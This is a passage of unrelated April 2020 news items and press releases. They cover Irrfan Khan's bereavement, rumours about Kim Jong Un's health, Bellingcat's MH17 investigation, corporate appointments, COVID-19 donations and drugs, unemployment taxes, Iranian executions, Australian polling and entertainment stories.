neuroendocrine tumour a while back, and has been under medical attention for the same. Irrfan is currently mourning the loss of his mother. The actor's mother Saeeda Begum breathed her last on Saturday in Jaipur where she used to stay. However, owing to the ongoing lockdown, the actor could not physically attend his mother's last rites and reportedly paid his last respect through video conferencing. The actor's latest film is Homi Adajania's comedy "Angrezi Medium", the last-released Bollywood film before COVID-19 forced complete shutdown of cinema halls. "Angrezi Medium" ran in theatres for just a day before halls all over India were shut down. The film has eventually released in the OTT space. "Angrezi Medium" marked Irrfan's return despite his ailing condition. -- The story has been published from a wire feed without any modifications to the text On April 15, Kim Jong Un, the North Korean dictator, missed an important birthday celebration: that of his late grandfather, Kim Il Sung, North Koreas founding ruler. The younger Kims absence sparked speculation about his health. Early last week, Daily NK, a website based in South Korea, claimed that Kim had needed to undergo heart surgery due to excessive smoking, obesity, and overwork. The next day, CNN reported, citing Trump administration sources, that US officials had received intelligence suggesting that Kim may be in mortal peril. On Saturday, TMZwhich has a track record of breaking stories about celebrity perilsplashed, with characteristic subtlety, that Kim was REPORTEDLY DEAD (or dying); it cited regional media sourcesincluding a Hong Kong-backed news channels vice director whos apparently the niece of a Chinese foreign ministerthat, it warned, in bold type, it had not itself corroborated. (Your average Hollywood gossip, this was not.) Twitter went into overdrive, but nothing concrete followed. Top officials in South Korea played down suggestions that much is amiss; one told CNN that Kim is alive and well. As the New York Post put it in a headline, Kim is variously rumored to be dead, brain-dead, or just fine. Since the weekend, confusion has continued to swirl. South Koreas unification minister said Kim may simply be hiding out from the coronavirusbut as one analyst pointed out to Reuters, if thats the case, why has North Korea not issued any proof that hes in good health? (North Korea has claimed not to have had any cases of the virus. This is unlikely.) Addressing the press at the White House yesterday evening, President Trump said he had a very good idea about Kims health that he couldnt share just yet, then said that nobody knows where Kim is. Also yesterday, KCNA, North Koreas state news agency, put out word that Kim had just sent a message of greeting to Cyril Ramaphosa, the president of South Africabut it did not offer any photographic proof that Kim is at work. This suggests (only suggests, we still have no confirmation) to me that hes alive but sick/recovering, Anna Fifield, Beijing bureau chief at the Washington Post and author of a recent book on Kim, said on Twitter of the KCNA statement. The regime appears to be trying to show that hes still in charge but not camera-ready. ICYMI: Pandemic coverage and information gaps On Sunday, Fifield reported that rumors about Kims health arent just circulating internationally, but inside North Korea as wellsources have told Fifield that theres currently panic buying in the countrys capital, Pyongyang; that helicopters are flying low over the city; and that transit has been disrupted, including at North Koreas border with China. Such insight is rare: as I reported last year, following Trump and Kims failed nuclear talks in Vietnam, North Korea is a black box. Information is tightly controlled by the regimetrying to browse foreign news can get you sent to a concentration campand press freedom is nonexistent: the 2020 World Press Freedom Index, which Reporters Without Borders published last week, ranked North Korea as the worst of the 180 countries it surveyed. (Last year, the country rose to the heady heights of 179th place on the list, only to fall back below Turkmenistan to the bottom.) In the absence of free access and reliable internal reporting, external North Korea watchers have to triangulatefrom human sources, but also by tracking flight records, reading between the lines of state-media narratives, and scouring satellite imagery. On Saturday, 38 North, a website which analyzes North Korea from the US, and the New York Times reported that a train that probably belongs to Kim has been spotted, since April 21, at a station in Wonsan, close to where Kim has a compound. This could be a clue as to Kims current whereabouts, although, as experts told the Times, North Korea has been known to manipulate visual signalsthe deployment of Kims personal guard, for exampleto throw long-range sleuths off the scent. Clues are better than nothing, especially in the hands of seasoned experts. But they can only tell us so much. When it comes to stories like Kims current, alleged ill health/death, rumors that, if applied to almost any other major world figure, wouldnt pass muster with major news organizations dont just gain tractionthe existence of the rumors, and the information ecosystem within which they spread, becomes the story. Sign up for CJR 's daily email In her piece for the Post, Fifield noted that, in the past, similar rumors about Kim Il Sung and his successor, Kim Jong Il, eventually proved unfounded. In recent days, she says shes been bombarded with questions as to whether the reports of the younger Kims death may also be greatly exaggerated. The short answer right now is: I dont know. None of us will know until either North Korea tells us or he waddles back into view, she wrote. Now, however, the rumors feel different Some analysts agree that this time it seems like more than the usual scuttlebutt. Below, news about the coronavirus: Other notable stories: ICYMI: Why the Left Cant Stand the New York Times Has America ever needed a media watchdog more than now? Help us by joining CJR today Jon Allsop is a freelance journalist whose work has appeared in the New York Review of Books, Foreign Policy, and The Nation, among other outlets. He writes CJRs newsletter The Media Today. Find him on Twitter @Jon_Allsop. This news release is not for distribution or dissemination in the United States of America VANCOUVER, BC, April 28, 2020 /PRNewswire/ -- CanaFarma Hemp Products Corp. (CSE: CNFA.CN) (the "Corporation" or "CanaFarma") is pleased to announce that it has promoted Frank Barone to the position of Chief Operating Officer (COO), as the Corporation continues to build out its executive management team to support its future growth. Over the past 18 years Mr. Barone has co-founded several consumer goods and services companies, including Barmensen Development, Next Gen Health Solutions and Associate Design LLC. Each company specialized in taking nutritional supplements and cosmetics to market using Direct-to-Consumer strategies via both off-line (e.g., TV, Radio, Print), and on-line (e.g., Affiliate Marketing, SEO, Social Media), prior to introducing such products into both electronic and brick and mortar retail. In each instance, Mr. Barone oversaw all aspects of the business, including financial and operational infrastructure, channel strategy, legal and business development. Prior to 2002, Mr. Barone was the Chief Operations Officer for a financial technology holdings company which held two SEC-registered subsidiary broker-dealers. Mr. Barone received his BS from St. John's University and his Juris Doctorate degree from St. John's University School of Law. David Lonsdale, CEO of CanaFarma commented: "We are very pleased to be putting Frank in charge of the operations of CanaFarma. He is a talented and seasoned executive in whom we have a great deal of confidence. I am looking forward to working closely with Frank as we execute on the strategies that we have developed." About CanaFarma Hemp Products Corp. CanaFarma is a full-service company operating in the hemp industry offering a full range of hemp-related products and services. These products and services include growing top-quality hemp, providing hemp-processing services, and offering hemp-based products to consumers utilizing a direct-to-consumer marketing approach. CAUTIONARY STATEMENT REGARDING FORWARD-LOOKING INFORMATION: This news release includes certain "forward-looking statements" under applicable Canadian securities legislation. Forward-looking statements include, but are not limited to, statements with respect to potential future growth. Forward-looking statements are necessarily based upon a number of estimates and assumptions that, while considered reasonable, are subject to known and unknown risks, uncertainties, and other factors which may cause the actual results and future events to differ materially from those expressed or implied by such forward-looking statements. Such factors include, but are not limited to general business, economic, competitive, political and social uncertainties, world events and impacts of the COVID-19 virus; and delay or failure to receive board, shareholder or regulatory approvals. Readers should not place undue reliance on forward-looking statements. The Corporation disclaims any intention or obligation to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise, except as required by law. FOR FURTHER INFORMATION, PLEASE CONTACT: David Lonsdale Chief Executive Officer Phone: (214) 704-7942 Email: david@canafarmacorp.com Bollywood actor Kartik Aaryan is utilizing the lockdown time with some constructive work for himself as well as others. The Luka Chuppi actor has started broadcasting his new Koki Poochega series, which talks about various topics at length. The latest episode on the series features two special guests, filmmaker and choreographer Farah Khan and health expert Luke Coutinho. He shared the teaser video on his Instagram to announce about the release of his latest episode. Gluten Free hotakyahai? #KokiPoochega|Episode 4 with a Cute Surprise | @luke_coutinho Out Now, he captioned it. The Pyaar Ka Punchnama actor shared a joke with Luke, where he talks about his knowledge on the non-desi food items. Kartikreveals that he once found a bread packet in a supermarket which read Gluten-Free. He ended up asking the cashier for the free gluten, which he thought to be an additional item with the packet. In the complete episode released on YouTube, the video begins with Kartik asking Farah for some health advice to stay fit. When he mistakenly says that the choreographer has asked people not to workout, Farah corrects him by saying that she rather advised people to stop bombarding social media with videos of workout. Kartik then asks Luke about his opinion on his new look. With the messy hair, unshaved look and spectacles, Kartik seems to resemble the professor from the Netflix series Money Heist. When Luke reveals that he is binge-watching the series, the SonuKeTitukiSweety star asks if he has spotted him in the show. Both of them, then start laughing. Watch the entire episode here: Follow @News18Movies for more Burlaka was in a crucial role supervising militant activities in Donbas and authorizing the flow of weapons across the border, the investigation says. The Bellingcat investigation team, in cooperation with Russian colleagues from The Insider, and with additional reporting from Kevin Hall from McClatchy Newspapers (DC), has been able to identify the person of "Vladimir Ivanovich" as one of the top officials within Russia's FSB security service, namely Colonel General Andrey Ivanovich Burlaka, who is a person of interest in the criminal investigation into the downing of MH17. It is noted Bellingcat has identified "Vladimir Ivanovich" as Col. General Andrey Ivanovich Burlaka, who serves as Chief of the Operational Staff of the FSB's Border Service, and is the first deputy to the head of the Border Service of FSB, who in turn is first deputy to the head of the FSB, Alexander Bortnikov. This makes Andrey Burlaka one of the senior-most officers in the FSB, two positions removed from the director, via his direct boss, army general Vladimir Kulishov. He held this same position at the time of the MH17 shoot-down. The phone intercepts published by JIT make frequent references to a certain "Vladimir Ivanovich"; a shadowy figure who, by the start of July 2014, was already in a crucial role supervising militant activities in Donbas and authorizing the flow of weapons across the border. In one intercept from the morning of July 16, 2014, the day before MH17 was shot down, Borodai asks "Vladimir Ivanovich" if it is possible that Russian helicopters were attacking, or could engage, Ukrainian positions near Maryinka: () Borodai: Vladimir Ivanovich? V.I.: Speaking. Borodai: Tell me, is it possible that our helicopters could be carrying out some raids? Good morning. I beg your pardon. V.I: Good morning Borodai: So, is it possible that our helicopters are carrying out raids near Maryinka? Ours? V.I: [speaking to the side] Turn on the encryption!. () Maryinka is a village that was, at the time, a frontline village near Donetsk, and although Russian Armed Forces were by then frequently conducting cross-border artillery strikes on Ukrainian positions, it seems unrealistic that Borodai believed that Russian helicopters would venture that deep into Ukrainian airspace. As such, it seems possible that he actually meant the similar-sounding village of Marinovka (Marynivka in Ukrainian) which marked the frontline south of Snizhne near the border with Russia. In fact, on that same morning, Borodai was captured in a video broadcast on a Russian TV channel while talking on the phone behind Igor Girkin, who was giving an interview from the battlefield near Marinovka (several hours later the town fell to separatist forces). Read alsoJournalists identify FSB's elusive operative "Elbrus": From MH17 to assassinations in Europe Due to the encryption being turned on at the start of the call, it is not clear what "Vladimir Ivanovich" then said to Borodai, and if helicopter support was provided. While there is no publicly available official information of Gen. Andrey Burlaka's involvement in the Donbas war, travel data obtained by Bellingcat and a review of previously leaked or hacked correspondence corroborates the evidence from the intercepts published by JIT. A review of Burlaka's airplane travel in 2014 and 2015 shows that he frequently flew from Moscow to Rostov, to Crimea, and to Krasnodar the three control centers for military operations against Ukraine. UNIAN memo. Malaysia Airlines' MH17 Boeing 777 heading from Amsterdam for Kuala Lumpur was shot down on July 17, 2014, over Russia-occupied territory in Donetsk region. All 298 people on board who were citizens of 10 countries were killed in the crash. The majority of the victims, 196, were citizens of the Netherlands. The Dutch Safety Board October 13, 2015, issued a report on the causes of the accident. It was revealed that the plane had been shot down by a Buk anti-aircraft missile system. The Joint Investigation Team in its report published on September 28, 2016, confirmed that the plane had been downed by a Russian-made Buk brought to Ukraine from Russia. Read alsoDutch MH17 trial to continue behind closed doors due to coronavirus Reuters On June 19, 2019, JIT investigators accused four Russia-controlled military intelligence officers of involvement in a missile attack that shot down MH17. The first four suspects in the MH17 case are Russian terrorist Igor Girkin (AKA "Strelkov"), who in the summer of 2014 was the so-called "Minister of Defense of the Donetsk People's Republic" ("DPR"); Russian General Sergei Dubinsky (nom de guerre "Khmuryi"), who led the "DPR intelligence;" Oleg Pulatov (nom de guerre "Gyurza"), who in 2014 headed of "the 2nd division of the GRU of the DPR;" as well as Leonid Kharchenko (nom de guerre "Krot"), who was a leader of the "reconnaissance battalion" of Russia-led forces. The trial in the Netherlands started on March 9. LONDON, April 28, 2020 /PRNewswire/ -- Chubb has today announced the appointment of Guney Celik as Regional Head of Marine for Eurasia & Africa. In his new role Guney will be responsible for the continuing expansion of Chubb's marine presence in the region, working with underwriting and business development teams. Guney, who was previously in charge of Chubb's Marine portfolio in Turkey since 2017, will continue to be based in Istanbul. He will report jointly to Emre Bugday, Chubb Turkey Country President; Nikolay Dmitriev, Regional Director, Property and Casualty; and Benoit Chasseguet, Regional Marine Manager, Continental Europe. The appointment is effective immediately. Giles Ward, Regional President, Eurasia & Africa, Chubb, said: "I am delighted to appoint Guney to this new role. He has done an excellent job in building Chubb's Marine presence in Turkey and I am looking forward to seeing him achieve similar results on a regional basis. I am sure this well-deserved appointment will bring greater focus and allow us to accelerate growth in this important area of our business." About Chubb Chubb is the world's largest publicly traded property and casualty insurance company. With operations in 54 countries and territories, Chubb provides commercial and personal property and casualty insurance, personal accident and supplemental health insurance, reinsurance and life insurance to a diverse group of clients. As an underwriting company, we assess, assume and manage risk with insight and discipline. We service and pay our claims fairly and promptly. The company is also defined by its extensive product and service offerings, broad distribution capabilities, exceptional financial strength and local operations globally. Parent company Chubb Limited is listed on the New York Stock Exchange (NYSE: CB) and is a component of the S&P 500 index. Chubb maintains executive offices in Zurich, New York, London, Paris and other locations, and employs approximately 33,000 people worldwide. Additional information can be found at: www.chubb.com Chubb, Chubb logo and Chubb. Insured.SM are trademarks of Chubb. Logo - https://mma.prnewswire.com/media/324916/Chubb_Logo.jpg Hand sanitizer produced in a whiskey distillery in Kentucky was making its way to Elko for distribution to rural Nevada communities in early May, with the first stop in Carson City where prisoners repackaged the 2,500 gallons. Elko Mining Group donated the certified sanitizer in conjunction with Waterton Global Resource Management, which provided Elko Mining group with a portion of the sanitizer. IJW Whiskey Co. produced the sanitizer. The Elko Mining Group is a portfolio company of Waterton. We got the first 2,500 gallons, Debbie Lassister, executive director of environmental affairs for Elko Mining Group, said on April 24. It was really a nice surprise. Certain executives at Elko Mining Group and Waterton Global have connections in the Kentucky bourbon industry and used these contacts to buy the hand sanitizer, according to the companies. Waterton, a Canadian company, also gave Elko Mining Group the green light to donate $250,000 in Nevada, including to rural communities where the group has projects, especially in Esmeralda and Nye counties. Were seeing extreme need from under-served communities, Lassister said especially of food banks that need money. Anybody who can help should do so. Elko Mining Group worked with Jeff Haag at the Nevada Department of Health and Human Services for routing the hand sanitizer, and Lassister said the state is doing a remarkable job organizing and getting help to where it is needed. Hagg said the hand sanitizer will be repackaged by Nevada Prison Industries in Carson City into 10-ounce and 12-ounce bottles and one-gallon jugs and is at least temporarily stopping its own production of hand sanitizer to do the packaging. We are really grateful to the Elko Mining Group for the 2,500 gallons of hand sanitizer, said Hagg, who leads the logistics task force for PPE needs under the Nevada Department of Emergency Management, as well working his regular job as deputy administrator for aging and disability services for the state Department of Health and Human Services. He said there has been good cooperation and an unprecedented response among the state and local entities and the private sector during the coronavirus pandemic. Lassiter said it was Haags decision to send sanitizer to the Elko center, and Elko Mining Group was pleased to see it go to an area where the company used to have property the Hollister underground mine in Elko County that has since changed hands a couple of times and is now owned by Hecla Mining. Out of the $250,000 in donation money Elko Mining Group distributed, $100,000 went as small business grant to the Southwest Central Regional Economic Development Authority that is in turn distributing money to businesses in Esmeralda and Nye counties, Lassiter said. She said Kinross Gold Corp.s Round Mountain Mine is providing $100,000 in funding to the authority for Nye County and Austin in Lander County so Elko Mining Group decided to use the same system, which has the framework in place to distribute $1,000 to $5,000 to businesses. Paul Miller, executive director of the development authority, said the $200,000 is going out the door to northern Nye County and Esmeralda County, as well, and we will finish the work on Monday. Its been just a disaster for these rural communities. He said the donations are survival money for the small businesses for rent, utilities and paying employees. Kinross Round Mountain reported the company partnered with the development authority to develop a simplified revolving loan fund for businesses in northern Nye, Esmeralda and southern Lander counties that have been affected by COVID-19 and were identified as part of Round Mountains footprint area. At Round Mountain, we recognize the importance of small businesses to the well-being of our host communities and are pleased to provide our support during these challenging times, Kinross Round Mountain Vice President and General Manager Neil Jensen said in an April 17 news release. Lassiter said in rounded figures beyond the $100,000 to the development authority, $50,000 is going to Esmeralda County for food assistance, and $25,000 is going to the Nevada Fund to help with the needs of front-line health workers. Another $25,000 is going to the Northern Nevada Food Bank, and Elko Mining Group also gave $5,000 to Wellman Upholstery in Washoe County, which is making masks. She said $10,000 also went to Consolidated Agencies for Human Services in Mineral County for food banks and other needs, and $28,000 went out of state to Kingman, Arizona, where Elko Mining Group manages the Mineral Park copper mine. Lassiter said the food bank in Kingman was on the edge of shutting down. Elko Mining Groups current projects in Nevada include the Ruby Hill Mine at Eureka, the Gemfield Project in Esmeralda County near the town of Goldfield, the Borealis Mine in Mineral County, the Spring Valley Project in Pershing County, the Reward Project in Nye County and the closed Pinson Mine in Humboldt County. The Gemfield Project two miles from the historic mining town of Goldfield in Esmeralda County is planned as an open pit gold mine, and the company has already moved two and a half miles of U.S. 95 to make way for the operations. Currently, the company is working on detailed engineering for the fully permitted project and working with the community to prepare for the mine, Lassister said. The companys office is now in Reno, but Elko Mining Group had an office in Elko when it owned Hollister and the Aurora Mine in Esmeralda County. Lassiter said Elko Mining Group employees are working from home where possible and those at project sites are following COVID-19 restrictions. This article has been changed from an earlier version to correct the ownership of IJW Whiskey Co. After necessary approval from Directorate General of Foreign Trade (DGFT) company will be able to export these products Lincoln Pharmaceuticals Limited has received approval to manufacture Hydroxychloroquine (HCQ) among other critical drugs to fight COVID 19. Company received approval from Food & Drug Control Administration, Gujarat to manufacture varied dosages of Hydroxychloroquine Tablets and Hydroxychloroquine Sulfate Tablets among others at its plant in Khatraj in Ahmedabad. After necessary approval from Directorate General of Foreign Trade (DGFT) company will be able to export these products. Food & Drug Control Administration, Gujarat approved manufacture of following drugs from Lincoln Pharma's Khatraj facility. Hydroxychloroquine Sulfate Tablets USP in 200 MG, 300 MG and 400 MG dosages. Hydroxychloroquine Tablets IP in 200 MG, 300 MG and 400 MG dosages respectively. Mahendra Patel, Managing Director, Lincoln Pharmaceuticals Limited, said, "We have all the necessary infrastructure at our state-of-the-art manufacturing facility at Khatraj, Ahmedabad and look to expedite the commercial production of the approved drugs at the earliest. Company is committed to fight the COVID-19 pandemic and working closely with the governments and relevant stakeholders to ensure uninterrupted supply of medicines. Company has also constituted a task force to handle the distribution of medicines and essential drugs with the primary objective of dealing with any kind of emergency or distress situation by COVID-19." HCQ is a prescription based drug commonly recommended to Corona patients under treatment for the disease. India is the largest producer of HCQ and taking a lead in supplying this to the world in this time of crisis. Lincoln Pharmaceuticals Ltd develops and manufactures affordable and innovative medicines for healthier lives. The company has developed 300 plus formulations in 15 therapeutic areas and has a strong product/brand portfolio in anti-infective, respiratory system, gynaecology, cardio & CNS, antibacterial, anti-diabetic, anti-malaria among others. Company has filled 20 plus patent applications and is awarded five patents. Company has presence in more than 60 countries encompassing Africa, Central America and Southeast Asia. The Poshard Foundation for Abused Children announced that it will distribute grant awards to the most vulnerable children and families in Southern Illinois. The grants were made possible because the foundation was awarded a $300,000 grant by the Illinois COVID-19 Response Fund, according to a news release from the foundation. Combined with the foundations annual spring grants of $100,000, a total of $400,000 will be distributed. The Poshard Foundation will target children and their families in 23 Southern Illinois counties through a network of 34 different agencies. We are so grateful for the Illinois COVID-19 Response Fund support," Jo Poshard said in the news release. "This will enable us to help thousands of children in our area in a very quick timeframe. Our network of organizations is in the process of identifying the children with the greatest needs. The entire $400,000 will be spent on needs to include nutritional food, medical care, basic supplies, family self-care, behavioral and mental health services and other therapeutic necessities for these children. Glenn Poshard emphasized that children and their families are struggling to survive. Many of these children come from families of minimum wage earners who are now completely out of work," he said in the release. "They dont have sufficient food and normally have to use the hospital emergency room for medical care, which is nearly impossible with the coronavirus spread. Since schools have been closed, the children have been basically cut off from counselors, and counselors cannot visit their homes. These children are desperately struggling and need us now more than ever. The release says that the foundation was assisted by the IL-HEALS PARTNERS, the Egyptian Health Department, The Stress and Trauma Treatment Center, and Southern Illinois University School of Medicine. We are beyond grateful for their support," Jo Poshard said. The following network of agencies and organizations will be participating in the distribution of these resources to children and families: Baptist Childrens Home, Carmi; Boys & Girls Clubs of Southern Illinois; Cairo Womens Shelter; Caritas Family Solutions, Carterville; Caritas Family Solutions, Mount Vernon; CASA of Franklin and Hamilton Counties; CASA of Jefferson County; CASA of Saline County; CASA of Williamson County; Centerstone Childrens Home and Aid, Herrin; Childrens Medical and Mental Health Resource Network, Anna; Egyptian Health Department, Eldorado; Family Counseling Center, Golconda; Foster Family Resource Center of Southern Illinois; Franklin-Williamson Child Advocacy Center; Healthy Families Illinois-Shawnee Health Service; Hoyleton Youth & Family Services; Illinois Department of Children and Family Services, Southern Region; Lutheran Social Services of Illinois, Marion; Lutheran Social Services of Illinois Prison & Family Ministry; Perry County Counseling; Perry-Jackson Child Advocacy Center; Pregnancy Matters, Carbondale and Marion; Southern Illinois Coalition for the Homeless; Southern Seven Health Department, Ullin; Spero Family Services, Mount Vernon and Murphysboro; Stress and Trauma Treatment Center Inc., Eldorado; The Amy Center, Mount Vernon; The Guardian Center, Carmi; The Nights Shield, West Frankfort; The Womens Center, Carbondale; Two Rivers Child Advocacy Center, Anna; and Union County Counseling. Coming together while we're apart: Southern Illinoisans show support, love from a distance Stanley Tucci offered a lifetime supply of Ryan Reynolds' Aviation gin after second cocktail masterclass. (Getty Images) Yahoo Lifestyle is committed to finding you the best products at the best prices. We may receive a share from purchases made via links on this page. Pricing and availability are subject to change. Stanley Tucci took the globe by storm when he gave his first cocktail masterclass on how to make the perfect Negroni on his Instagram last week. The Devil wears Prada actor has returned to the social media platform once more to demonstrate more of his mixology skills. The 59-year-old actor shared with his 267,000 followers his tips to make a gin Martini, using Ryan Reynolds Aviation American Gin. Prior to sharing his secrets to recreating the classic alcoholic beverage, Tucci joked he couldnt tell the difference between famous actors Reynolds and Ryan Gosling - as they both share the same first name. He said: Aviation is my favourite gin, maybe my favourite gin in the whole world. Its made by a guy whose name sounds like Ryan. Its not Ryan Gosling, its Ryan Reynolds. I always get them confused. Buy it: Aviation American Gin | 32.81 (Was 34.95) from Amazon Tuccis post racked up a lot of attention as it was viewed over 370,000 times, and even caught the Deadpool actors attention. Reynolds, 43, went on to offer Tucci a lifetime supply of his drinks following the tutorial. Reynolds wittily commented: What is this, witchraft? A LIFETIME supply of Aviation gin to you, my good sir. And I hope you live long enough to bankrupt this entire company. Anna Friel added: Your voice. You have such a great voice. While other Instagram users urged Tucci to launch his own weekly show, as one wrote: This needs to be a weekly show please. Another added: This is fabulous I love to watch this, keep the videos up they make my evening. Tucci started off making his Martini using a touch of Vermouth, which he poured over ice to cut the gin that would be added later on. Once he poured out the remnants he proceeded to add two double shots of Reynolds spirit, before he sifted out the ice, added three olives and a touch of lemon rind. Story continues Always drink responsibly. Visit Drink Aware for advice. The Kiwi couple who form the music duo Vintage Blue have gone viral on Facebook thanks to their hilarious parody of Dolly Partons Jolene. In the parody, the couple have written the song to instead beg Jolene to take away their man who has been driving them up the walls during lockdown. The video has over five million views and has received tens of thousands of likes and comments. Well deserved! Local residents line up outside the food pantry Bed Stuy Campaign Against Hunger to receive free food during the COVID-19 pandemic on April 23, 2020 in the Bedford-Stuyvesant neighborhood of Brooklyn, New York. Due to increased levels of unemployment, the lines at the daily food pantry have been getting longer. (Photo by Andrew Lichtenstein/Corbis via Getty Images) Andrew Lichtenstein Millions of Americans who have filed for unemployment in recent weeks may be wondering if their benefits will be taxed. The answer is yes. However, there's a difference that could cause Americans to pay less tax relative to levies on a typical paycheck. "Unemployment benefits are taxed just like income," said Michele Evermore, senior policy analyst at the National Employment Law Project. The coronavirus pandemic pushed more than 26 million Americans to file for unemployment in the five weeks through April 18, erasing all the jobs created in the decade since the Great Recession. The $2.2 trillion federal coronavirus relief package enacted last month enhanced benefits for unemployed workers. It did so in three primary ways: by raising the weekly pay amount, increasing the duration of that pay and extending benefits to previously ineligible groups like self-employed workers. Federal and state governments assess taxes on unemployment benefits like they do on income from a worker's typical paycheck, according to experts. Residents of states that don't levy an income tax wouldn't pay state tax on their unemployment checks. However, there's a difference: Unemployment benefits aren't subject to Social Security and Medicare taxes (7.65% total). Employers withhold these taxes from a typical paycheck. Jobless workers will receive a 1099-G tax form next year to reflect the income from their unemployment checks, Evermore said. That's similar to what occurs when a taxpayer get a tax refund from their state, she said. More from Smart Tax Planning: The PPP ran out, and these businessowners were shut out Why you should pay those old tax bills immediately Scammers are after your stimulus check Income tax rates for unemployed individuals typically fall since income levels normally "go way down" in the year they collect jobless benefits, said Susan Houseman, research director at the W.E. Upjohn Institute for Employment Research. Unemployment benefits replace about 40% of prior wages, according to a national pre-crisis average cited by the House Ways and Means Committee. However, enhanced benefits provided by the recent stimulus package means that tax dynamic may not occur for some workers, Houseman said. The stimulus package increased weekly jobless pay by $600 through July. Officials aimed to replace about 100% of prior weekly wages for the average American worker through that infusion. As a result of the stimulus, the average worker can expect roughly $978 in gross unemployment pay per week. Some workers, especially low- to moderate-income workers, could potentially be bumped into a higher tax bracket, Houseman said. However, that will depend on many factors, such as their state of residence, the duration of unemployment pay and whether Congress extends the $600-a-week payments past July, which seems unlikely, she said. "Everyone is better off making more money, even if they're taxed on it," Houseman said. Share this article Whatsapp Facebook Twitter Linkedin News Desk (Agence France-Presse) Paris, France Tue, April 28, 2020 09:43 625 fc6853813033f564188675f8bd499797 2 World Iran,France,minors,execution,law,HumanRights Free France on Monday condemned Iran over the executions this month of two young offenders who it said where minors at the time of their crimes, accusing Tehran of violating its international obligations. The French foreign ministry said that Shayan Saeedpour was executed on April 21 and Majid Esmailzadeh on April 18, noting they were both "minors at the time of the facts". "The executions are contrary to the international obligations that Iran has signed up to itself, in particular the international convention on the rights of the child," it said. Amnesty International had already condemned the execution of Saeedpour, 21, at the central prison in Saqqez, in Iran's Kurdistan province, "as vengeful and cruel." It said the conviction was in connection with the fatal stabbing of a man during a fight in August 2015 when Saeedpour was 17. He had a history of mental illness. It said Saeedpour was among dozens of prisoners who had escaped from the central prison in Saqez in late March amid riots over Iran's response to the coronavirus outbreak and fears it could spread to prisons. Amnesty said it "believes his execution may have been an act of retaliation by the local prosecution authorities, intended to deter other prisoners from attempting similar escape plans." Reports said that Majid Esmailzadeh was executed in Ardabil prison in the northern Ardabil Province. UN High Commissioner for Human Rights Michelle Bachelet had already condemned both executions as "absolutely prohibited under international human rights law." The French statement also "expressed concern" over reports that another young offender, Danial Zeinolabedini, who had also been condemned to death, had died in prison. Amnesty has said Zeinolabedini, who was on death row for a crime committed when he was under the age of 18, died "under suspicious circumstances". His family were told he had committed suicide but Amnesty said examination of a photograph of Zeinolabedini's body showed "signs that are consistent with torture." Iran is one of the world's most prolific users of the death penalty, with Amnesty saying it carried out at least 251 executions in 2019. Topics : Iran France minors execution law HumanRights Australian Prime Minister Scott Morrison talks to the media at Parliament House on April 11, 2019 in Canberra, Australia.(Tracey Nearmy/Getty Images) Morrison Preferred PM with 56 Percent Approval: Newspoll Prime Minister Scott Morrisons personal approval rating has jumped in the latest political polling by The Australians Newspoll (image). Morrison is now the preferred prime minister with an approval rating of 56 percent over Labor leader Anthony Albanese who scored 28 percent. Of those surveyed, 68 percent were satisfied with the way Morrison is doing his job as the prime minister. This is the first time since 2008 that an Australian prime minister has had such a high approval rating. Only 5 prime ministers have reached above 60 percent in approval ratings since the inception of the poll. Scott Morrison, Malcolm Turnball, John Howard, and Bob Hawke all achieved over 60 percent. The highest approval rating was 73 percent achieved by former prime minister Kevin Rudd in 2008. Morrisons approval rating has been increasing since the beginning of April, managing to jump over 30 percentage points from 37 in January. January was a difficult period for the Morrison government as the prime minister was facing public disapproval over his handling of the bushfire crisis in the summer months. At the time, research company Essential noted that 57 percent of Australians believed the prime minister could have handled the bushfire crisis better. Approval Rating Due to Good Governing University of Tasmania researcher and poll analyst Kevin Bonham believes that Morrison has had a boost from his handling of the CCP (Chinese Communist Party) virus, commonly known as the novel coronavirus. Bonham wrote on Twitter that there is often a bump in a prime ministers approval rating during times of crisis, like the Port Arthur massacre, Gulf War, and 9/11 among others. Highest #Newspoll netsat poll-to-poll gains by PMs: 38 Morrison (COVID-19) 24 Howard (Port Arthur) 20 Howard (Tampa) 19 Hawke (Gulf War) 18 Howard (9/11) 18 Howard (Bali) 17 Howard (Olympics) Kevin Bonham (@kevinbonham) April 5, 2020 But on April 5, he said in his blog that this does not mean the figures are just a reaction to the actual crisis event. Instead, he believes that they are thanks to Morrisons handling of the situation. Australia is currently doing very well at keeping both the growth of the virus (given our high testing rates) and the death rate down, compared to other countries of similar size and especially similar political culture, Bonham said. Coalition Approval Rating Slides The current approval boost for Morrison has not translated into gains for the Coalition in the polls. Currently, the Newspoll survey has the two-party preferred vote showing a 50-50 split between the Coalition Party and the Labor Party. That is nearly a 2 percent swing toward the opposition Labor Party by voters since the May 2019 election. The Greens Party and One Nation Party have also suffered a small loss in voter preferences with voters moving back toward the major parties. The survey was conducted by YouGov for The Australian newspaper and interviewed 1,519 respondents online, between April 22 and 25. Mumbai: After actress Tabu and filmmaker Zoya Akhtar, actor Abhishek Bachchan has contributed to the initiative of Farah Khan's daughter, to protect stray animals amid the ongoing COVID-19 pandemic. Farah on Monday thanked Abhishek for his contribution of Rs 1 lakh to the effort. A few weeks ago, Farah's 12-year-old daughter Anya started the initiative of putting up on sale pictures of pets that she sketched, the proceeds of which have been going towards feeding stray animals. "Who gives 1 LAKH for a sketch?? Only @bachchan ..that straightaway doubles Anya's charity drive! Thank you my mad, big-hearted crazy boy.. big hug coming up which you will hate I know," Farah wrote on Instagram. Along with it, she shared a picture in which she is seen hugging Abhishek. Normal People may be your latest streaming obsession. The new Hulu series is the story of the complicated relationship between Marianne (Daisy Edgar-Jones) and Connell (Paul Mescal). It premieres April 29. Marianne and Connell start seeing each other when theyre both students at the same high school in their small Irish hometown. Shes a wealthy social outcast, while hes a popular kid whose mother has a job cleaning houses, including Mariannes. Given the difference between them, they decide to keep their affair a secret. Their on-and-off relationship continues when they both head off to college in Dublin. But new challenges arise as their circumstances change (her social status rises as he finds himself on the fringes) and they evolve as people. The series has earned positive reviews for its intimate look at love, power dynamics, and class differences. With all 12 episodes streaming on Wednesday, heres what you need to know before you dive in. Normal People is based on a book by Sally Rooney Normal People | Hulu Normal People is based on a 2018 novel by Irish author Sally Rooney. Published when she was just 27, her second book received widespread praise. The New York Times even declared her the first great millennial author. So it was no surprise when Hulu announced it was planning a television adaptation. Rooney was directly involved in bringing her story to the screen. She worked with writers Alice Birch and Mark ORowe to write the scripts; she also serves as an executive producer. Rooney was even involved in the casting process, she told the BBC. Room director Lenny Abrahamson directed six episodes An impressive roster of talent was involved in adapting Normal People. In addition to Rooney, Lenny Abrahmason, who directed the 2015 Oscar-winner Room, directed the first six episodes. (The other six are directed by Hettie 